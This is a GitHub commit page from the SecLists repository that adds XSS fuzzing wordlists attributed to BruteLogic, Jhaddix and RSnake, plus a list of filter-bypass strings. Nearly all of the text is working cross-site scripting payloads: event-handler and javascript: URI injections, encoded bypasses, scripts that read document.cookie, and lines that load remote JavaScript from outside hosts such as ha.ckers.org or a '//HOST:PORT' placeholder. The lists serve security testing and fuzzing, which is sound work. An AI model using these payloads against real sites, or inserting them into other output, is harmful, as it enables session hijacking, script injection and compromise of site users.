mirror of
https://github.com/danielmiessler/SecLists.git
synced 2025-06-08 05:57:52 +00:00
copy,moved and modified some wordlists
This commit is contained in:
Mo Langning
parent
408308a354
commit
ab07b3d5c3
113
Fuzzing/XSS/robot-friendly/XSS-BruteLogic.txt
Normal file
113
Fuzzing/XSS/robot-friendly/XSS-BruteLogic.txt
Normal file
@ -0,0 +1,113 @@
|
||||
<svg onload=alert(1)>
|
||||
"><svg onload=alert(1)//
|
||||
"onmouseover=alert(1)//
|
||||
"autofocus/onfocus=alert(1)//
|
||||
'-alert(1)-'
|
||||
'-alert(1)//
|
||||
\'-alert(1)//
|
||||
</script><svg onload=alert(1)>
|
||||
<x contenteditable onblur=alert(1)>lose focus!
|
||||
<x onclick=alert(1)>click this!
|
||||
<x oncopy=alert(1)>copy this!
|
||||
<x oncontextmenu=alert(1)>right click this!
|
||||
<x oncut=alert(1)>copy this!
|
||||
<x ondblclick=alert(1)>double click this!
|
||||
<x ondrag=alert(1)>drag this!
|
||||
<x contenteditable onfocus=alert(1)>focus this!
|
||||
<x contenteditable oninput=alert(1)>input here!
|
||||
<x contenteditable onkeydown=alert(1)>press any key!
|
||||
<x contenteditable onkeypress=alert(1)>press any key!
|
||||
<x contenteditable onkeyup=alert(1)>press any key!
|
||||
<x onmousedown=alert(1)>click this!
|
||||
<x onmousemove=alert(1)>hover this!
|
||||
<x onmouseout=alert(1)>hover this!
|
||||
<x onmouseover=alert(1)>hover this!
|
||||
<x onmouseup=alert(1)>click this!
|
||||
<x contenteditable onpaste=alert(1)>paste here!
|
||||
<script>alert(1)//
|
||||
<script>alert(1)<!–
|
||||
<script src=//brutelogic.com.br/1.js>
|
||||
<script src=//3334957647/1>
|
||||
%3Cx onxxx=alert(1)
|
||||
<%78 onxxx=1
|
||||
<x %6Fnxxx=1
|
||||
<x o%6Exxx=1
|
||||
<x on%78xx=1
|
||||
<x onxxx%3D1
|
||||
<X onxxx=1
|
||||
<x OnXxx=1
|
||||
<X OnXxx=1
|
||||
<x onxxx=1 onxxx=1
|
||||
<x/onxxx=1
|
||||
<x%09onxxx=1
|
||||
<x%0Aonxxx=1
|
||||
<x%0Conxxx=1
|
||||
<x%0Donxxx=1
|
||||
<x%2Fonxxx=1
|
||||
<x 1='1'onxxx=1
|
||||
<x 1="1"onxxx=1
|
||||
<x </onxxx=1
|
||||
<x 1=">" onxxx=1
|
||||
<http://onxxx%3D1/
|
||||
<x onxxx=alert(1) 1='
|
||||
<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>
|
||||
'onload=alert(1)><svg/1='
|
||||
'>alert(1)</script><script/1='
|
||||
*/alert(1)</script><script>/*
|
||||
*/alert(1)">'onload="/*<svg/1='
|
||||
`-alert(1)">'onload="`<svg/1='
|
||||
*/</script>'>alert(1)/*<script/1='
|
||||
<script>alert(1)</script>
|
||||
<script src=javascript:alert(1)>
|
||||
<iframe src=javascript:alert(1)>
|
||||
<embed src=javascript:alert(1)>
|
||||
<a href=javascript:alert(1)>click
|
||||
<math><brute href=javascript:alert(1)>click
|
||||
<form action=javascript:alert(1)><input type=submit>
|
||||
<isindex action=javascript:alert(1) type=submit value=click>
|
||||
<form><button formaction=javascript:alert(1)>click
|
||||
<form><input formaction=javascript:alert(1) type=submit value=click>
|
||||
<form><input formaction=javascript:alert(1) type=image value=click>
|
||||
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
|
||||
<isindex formaction=javascript:alert(1) type=submit value=click>
|
||||
<object data=javascript:alert(1)>
|
||||
<iframe srcdoc=<svg/onload=alert(1)>>
|
||||
<svg><script xlink:href=data:,alert(1) />
|
||||
<math><brute xlink:href=javascript:alert(1)>click
|
||||
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
|
||||
<html ontouchstart=alert(1)>
|
||||
<html ontouchend=alert(1)>
|
||||
<html ontouchmove=alert(1)>
|
||||
<html ontouchcancel=alert(1)>
|
||||
<body onorientationchange=alert(1)>
|
||||
"><img src=1 onerror=alert(1)>.gif
|
||||
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
|
||||
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
|
||||
<script src="data:,alert(1)//
|
||||
"><script src=data:,alert(1)//
|
||||
<script src="//brutelogic.com.br/1.js#
|
||||
"><script src=//brutelogic.com.br/1.js#
|
||||
<link rel=import href="data:text/html,<script>alert(1)</script>
|
||||
"><link rel=import href=data:text/html,<script>alert(1)</script>
|
||||
<base href=//0>
|
||||
<script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)
|
||||
<body onload=alert(1)>
|
||||
<body onpageshow=alert(1)>
|
||||
<body onfocus=alert(1)>
|
||||
<body onhashchange=alert(1)><a href=#x>click this!#x
|
||||
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
|
||||
<body onscroll=alert(1)><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><x id=x>#x
|
||||
<body onresize=alert(1)>press F12!
|
||||
<body onhelp=alert(1)>press F1! (MSIE)
|
||||
<marquee onstart=alert(1)>
|
||||
<marquee loop=1 width=0 onfinish=alert(1)>
|
||||
<audio src onloadstart=alert(1)>
|
||||
<video onloadstart=alert(1)><source>
|
||||
<input autofocus onblur=alert(1)>
|
||||
<keygen autofocus onfocus=alert(1)>
|
||||
<form onsubmit=alert(1)><input type=submit>
|
||||
<select onchange=alert(1)><option>1<option>2
|
||||
<menu id=x contextmenu=x onshow=alert(1)>right click me!
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
17
Fuzzing/XSS/robot-friendly/XSS-Bypass-Strings-BruteLogic.txt
Normal file
17
Fuzzing/XSS/robot-friendly/XSS-Bypass-Strings-BruteLogic.txt
Normal file
@ -0,0 +1,17 @@
|
||||
alert`1`
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
(alert)(1)
|
||||
a=alert,a(1)
|
||||
[1].find(alert)
|
||||
top["al"+"ert"](1)
|
||||
top[/al/.source+/ert/.source](1)
|
||||
al\u0065rt(1)
|
||||
top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
navigator.vibrate(500)
|
||||
eval(URL.slice(-8))>#alert(1)
|
||||
eval(location.hash.slice(1)>#alert(1)
|
||||
innerHTML=location.hash>#<script>alert(1)</script>
|
||||
6047
Fuzzing/XSS/robot-friendly/XSS-Cheat-Sheet-PortSwigger.txt
Normal file
6047
Fuzzing/XSS/robot-friendly/XSS-Cheat-Sheet-PortSwigger.txt
Normal file
File diff suppressed because it is too large
Load Diff
110
Fuzzing/XSS/robot-friendly/XSS-Jhaddix.txt
Normal file
110
Fuzzing/XSS/robot-friendly/XSS-Jhaddix.txt
Normal file
@ -0,0 +1,110 @@
|
||||
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
|
||||
<<scr\0ipt/src=http://xss.com/xss.js></script
|
||||
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
|
||||
' onmouseover=alert(/XSS/)
|
||||
"><iframe%20src="http://google.com"%%203E
|
||||
'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
|
||||
x”</title><img src%3dx onerror%3dalert(1)>
|
||||
<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
|
||||
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
|
||||
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
|
||||
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
|
||||
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
|
||||
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
|
||||
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>
|
||||
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
|
||||
<script>alert(document.head.innerHTML.substr(146,20));</script>
|
||||
<script>alert(document.head.childNodes[3].text)</script>
|
||||
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>
|
||||
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>
|
||||
<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
|
||||
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
|
||||
<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
|
||||
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
|
||||
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
|
||||
<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #
|
||||
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
|
||||
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
|
||||
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#
|
||||
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
|
||||
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
|
||||
<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>
|
||||
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
|
||||
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
|
||||
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
|
||||
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>
|
||||
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
|
||||
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
|
||||
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
|
||||
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
|
||||
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
|
||||
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
|
||||
<a href="javascript:\u0061le%72t(1)"><button>
|
||||
<div onmouseover='alert(1)'>DIV</div>
|
||||
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
|
||||
<a href="jAvAsCrIpT:alert(1)">X</a>
|
||||
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
|
||||
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
|
||||
<var onmouseover="prompt(1)">On Mouse Over</var>?
|
||||
<a href=javascript:alert(document.cookie)>Click Here</a>
|
||||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||||
<%<!--'%><script>alert(1);</script -->
|
||||
<script src="data:text/javascript,alert(1)"></script>
|
||||
<iframe/src \/\/onload = prompt(1)
|
||||
<iframe/onreadystatechange=alert(1)
|
||||
<svg/onload=alert(1)
|
||||
<input value=<><iframe/src=javascript:confirm(1)
|
||||
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>
|
||||
http://www.<script>alert(1)</script .com
|
||||
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
|
||||
<svg><script ?>alert(1)
|
||||
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
|
||||
<img src=`xx:xx`onerror=alert(1)>
|
||||
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
|
||||
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
|
||||
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
|
||||
<svg contentScriptType=text/vbs><script>MsgBox+1
|
||||
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
|
||||
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
|
||||
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
|
||||
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
|
||||
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ????????????
|
||||
<object data=javascript:\u0061le%72t(1)>
|
||||
<script>+-+-1-+-+alert(1)</script>
|
||||
<body/onload=<!-->
alert(1)>
|
||||
<script itworksinallbrowsers>/*<script* */alert(1)</script ?
|
||||
<img src ?itworksonchrome?\/onerror = alert(1)???
|
||||
<svg><script>//
confirm(1);</script </svg>
|
||||
<svg><script onlypossibleinopera:-)> alert(1)
|
||||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
|
||||
<script x> alert(1) </script 1=2
|
||||
<div/onmouseover='alert(1)'> style="x:">
|
||||
<--`<img/src=` onerror=alert(1)> --!>
|
||||
<script/src=data:text/javascript,alert(1)></script> ?
|
||||
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
|
||||
"><img src=x onerror=window.open('https://www.google.com/');>
|
||||
<form><button formaction=javascript:alert(1)>CLICKME
|
||||
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
|
||||
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
||||
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
|
||||
"><img src=x onerror=prompt(1);>
|
||||
2977
Fuzzing/XSS/robot-friendly/XSS-OFJAAAH.txt
Normal file
2977
Fuzzing/XSS/robot-friendly/XSS-OFJAAAH.txt
Normal file
File diff suppressed because it is too large
Load Diff
73
Fuzzing/XSS/robot-friendly/XSS-RSNAKE.txt
Normal file
73
Fuzzing/XSS/robot-friendly/XSS-RSNAKE.txt
Normal file
@ -0,0 +1,73 @@
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
SRC=
<IMG 6;avascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC="jav ascript:alert('XSS');">
|
||||
<IMG SRC="jav	ascript:alert('XSS');">
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
|
||||
<IMG SRC="javascript:alert('XSS')"
|
||||
<SCRIPT>a=/XSS/
|
||||
\";alert('XSS');//
|
||||
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||
<BODY BACKGROUND="javascript:alert('XSS')">
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
<IMG DYNSRC="javascript:alert('XSS')">
|
||||
<IMG LOWSRC="javascript:alert('XSS')">
|
||||
<BGSOUND SRC="javascript:alert('XSS');">
|
||||
<BR SIZE="&{alert('XSS')}">
|
||||
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
|
||||
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
|
||||
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
|
||||
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
|
||||
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
|
||||
<IMG SRC='vbscript:msgbox("XSS")'>
|
||||
<IMG SRC="mocha:[code]">
|
||||
<IMG SRC="livescript:[code]">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
